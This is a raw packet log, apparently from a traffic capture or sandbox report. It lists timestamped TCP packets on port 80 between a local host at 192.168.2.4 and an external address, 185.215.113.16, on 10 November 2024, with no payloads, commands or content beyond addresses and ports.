Nov 10, 2024 19:44:28.680468082 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680481911 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680485964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680500984 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680519104 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.681667089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.681677103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.681691885 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.681711912 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.681729078 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.750250101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.750293016 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.750300884 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.750338078 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.750425100 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.750466108 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.750473976 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.750484943 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.750509977 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.750528097 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.751292944 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.751321077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.751333952 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.751343966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.751352072 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.751369953 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.751477003 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.751511097 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.751595974 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.751605988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.751622915 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.751631975 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.751641035 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.751660109 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.751669884 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.751679897 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.751691103 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.751694918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.751715899 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.751720905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.751734972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.751741886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.751749039 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.751760960 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.751770973 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.751797915 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.791064024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.791104078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.791117907 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.791136980 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.791157961 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.791218996 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.791228056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.791244984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.791254997 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.791263103 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.791300058 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.793474913 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.793484926 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.793509960 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.793523073 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.793528080 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.793535948 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.793541908 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.793550014 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.793644905 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.793946028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.793987036 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.793994904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.794014931 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.794025898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.794039965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.794056892 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.794064999 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.794073105 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.794096947 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.794270992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.794306993 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.794316053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.794348955 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.794379950 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.794441938 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.794450998 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.794478893 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.794507027 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.795206070 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795218945 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795257092 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.795319080 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795330048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795347929 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795357943 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795372963 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.795391083 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.795629025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795640945 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795658112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795684099 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.795687914 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795698881 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795711040 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.795720100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.795734882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795742035 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.795753956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795761108 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.795773029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795783043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.795795918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795803070 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.795814991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795825005 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.795835972 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.795864105 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.795870066 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796004057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796014071 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796047926 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796101093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796111107 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796128988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796135902 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796149015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796159029 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796168089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796185970 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796215057 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796241045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796250105 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796267986 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796273947 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796288013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796293974 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796304941 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796310902 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796320915 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796336889 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796341896 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796354055 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796364069 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796371937 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796390057 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796406984 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796601057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796612024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796626091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796641111 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796662092 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796725035 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796735048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796751976 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796758890 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796766043 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796781063 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796792030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796801090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796813011 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796822071 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796833038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796840906 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796852112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796863079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796866894 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796876907 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796889067 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796909094 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796916962 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796927929 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796936035 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796950102 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796962976 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.796968937 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796978951 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.796993017 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797014952 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797024012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797053099 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797163010 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797173023 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797192097 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797199965 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797209978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797225952 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797233105 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797252893 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797260046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797266960 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797280073 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797292948 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797297001 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797307968 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797324896 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797333002 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797342062 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797363043 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797377110 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797384024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797389984 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797400951 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797415972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797422886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797437906 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797451019 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797460079 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797472000 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797477961 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797487974 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797499895 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797513008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797519922 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797530890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797548056 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797558069 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797568083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797576904 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797594070 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797602892 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797607899 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797616959 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797629118 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797636986 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797647953 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797656059 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797663927 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797677040 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797687054 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797703028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797709942 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797733068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797738075 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797751904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797764063 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797769070 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797779083 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797790051 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797796965 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797808886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797822952 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797830105 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797837019 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797847033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.797871113 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.797887087 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.867680073 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.867716074 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.867726088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.867749929 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.867769957 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.868318081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.868330956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.868350029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.868371010 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.868388891 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.868410110 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.868421078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.868427038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.868442059 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.868464947 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.868479013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.868486881 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.868535995 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.868665934 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.868676901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.868694067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.868711948 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.868746996 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.868855000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.868896961 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.868926048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.868933916 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.868947029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.868953943 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.868973970 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.868995905 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.908267975 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.908279896 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.908299923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.908322096 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.908325911 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.908340931 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.908349991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.908366919 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.908375025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.908385992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.908392906 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.908423901 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.910809040 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.910855055 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.910862923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.910883904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.910890102 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.910902977 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.910912037 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.910922050 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.910938978 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.911073923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.911084890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.911103010 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.911124945 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.911142111 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.911283970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.911356926 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.911410093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.911420107 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.911459923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.911488056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.911498070 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.911536932 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.911561012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.911571980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.911592007 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.911603928 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.911617994 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.911634922 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.911658049 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.912414074 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.912456989 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.912465096 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.912477016 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.912493944 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.912503004 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.912511110 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.912523031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.912533998 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.912540913 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.912575006 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.912686110 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.912704945 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.912714958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.912739038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.912755966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.912763119 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.912771940 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.912775993 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.912786961 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.912797928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.912806988 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.912817955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.912837029 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.912847996 CET	80	49762	185.215.113.16	192.168.2.4
